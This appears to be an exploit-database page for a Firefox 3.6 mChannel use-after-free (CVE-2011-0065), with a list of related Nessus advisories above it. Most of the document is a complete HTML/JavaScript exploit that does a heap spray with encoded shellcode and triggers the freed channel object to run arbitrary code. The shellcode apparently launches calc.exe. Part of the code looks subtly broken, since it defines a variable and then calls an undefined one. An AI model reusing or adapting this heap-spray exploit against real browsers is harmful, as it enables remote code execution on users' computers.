Mozilla Firefox 3.6 mChannel Use-After-Free Vulnerability

🗓️ 26 Nov 2014 00:00:00Reported by Juan SaccoType

zdt🔗 0day.today👁 44 Views

Mozilla Firefox 3.6 mChannel Use-After-Free Vulnerabilit

Reporter	Title	Published	Views	Family All 114
Gitee	Exploit for Improper Restriction of Operations within the Bounds of a Memory Buffer in Adobe Acrobat	27 Jul 202504:17	–	gitee
Tenable Nessus	Mozilla Firefox < 3.5.19 Multiple Vulnerabilities	29 Apr 201100:00	–	nessus
Tenable Nessus	Mozilla Firefox 3.6.x < 3.6.17 Multiple Vulnerabilities	29 Apr 201100:00	–	nessus
Tenable Nessus	SeaMonkey < 2.0.14 Multiple Vulnerabilities	25 Mar 201100:00	–	nessus
Tenable Nessus	Mozilla Firefox 3.6.x < 3.6.17 Multiple Vulnerabilities	29 Apr 201100:00	–	nessus
Tenable Nessus	Mozilla Firefox < 3.5.19 Multiple Vulnerabilities	29 Apr 201100:00	–	nessus
Tenable Nessus	Mozilla SeaMonkey < 2.0.14 Multiple Vulnerabilities	25 Mar 201100:00	–	nessus
Tenable Nessus	CentOS 4 / 5 : firefox (CESA-2011:0471)	2 May 201100:00	–	nessus
Tenable Nessus	Debian DSA-2227-1 : iceape - several vulnerabilities	2 May 201100:00	–	nessus
Tenable Nessus	Debian DSA-2228-1 : iceweasel - several vulnerabilities	2 May 201100:00	–	nessus

<!--
Exploit Author: Juan Sacco
Name: Mozilla Firefox 3.6 mChannel ( Universal )
Description: Mozilla Firefox 3.6 is prone to an use-after-free
vulnerability in OBJECT mChannel that allows an attacker to execute
arbitrary code.
Tested on Windows XP SP3
CVE: 2011-0065
-->
<html>
<head>
</head>
<body>
<pre>
# Title: Firefox 3.6 ( Universal )
</pre>
<object id="exploit" ></object>
<script>
function exploit()    {
    var foo=document.getElementById("exploit");

e.QueryInterface(Components.interfaces.nsIChannelEventSink).onChannelRedirect(null,new
Object,0);
    var vftable = unescape("\x00% u0c10");
    var shellcode =
unescape("%u0004%u0c10%uBCBB%u68F1%u0105%u0106%uBE51%u6623%u0030%u0c10%u7C2A%u68F0%u5B33%u661C%u0030%u0c10%uF1DD%u68F2%u0030%u0c10%u9000%u0000%u0040%u0000%u0c0c%u0c0c%u0038%u0c10%u9090%u9090%u9090%u9090%uC781%u986D%u0007%u078B%uF505%u03F6%u9000%u9090%u056A%uC181%u008E%u0000%u9051%uF08B%uD0FF%ucccc%uEE81%u95Fa%u0004%uFF6A%uD6FF%uCCCC%u6163%u636c%u652e%u6578%u0000%ucccc");
    var vtable = unescape("%u0c0c%u0c0c");
        while(vtable.length < 0x10000) {vtable += vtable;}
        var heapblock =
shellcode+vtable.substring(0,0x10000/2-shellcode.length*2);
        while (heapblock.length<0x80000) {heapblock += shellcode+heapblock;}
    var finalspray = heapblock.substring(0,0x80000 - shellcode.length -
0x24/2 - 0x4/2 - 0x2/2);

    var heapspray = new Array()
        for (var i=0;i<0x100;i++){
            heapspray[i] = finalspray+shellcode;
        }
    foo.data="";}
</script>
<input type=button value="Exploit" onclick="exploit()" />
</body>
</html>

#  0day.today [2018-01-04]  #

26 Nov 2014 00:00Current

1.1Low risk

Vulners AI Score1.1

EPSS0.83259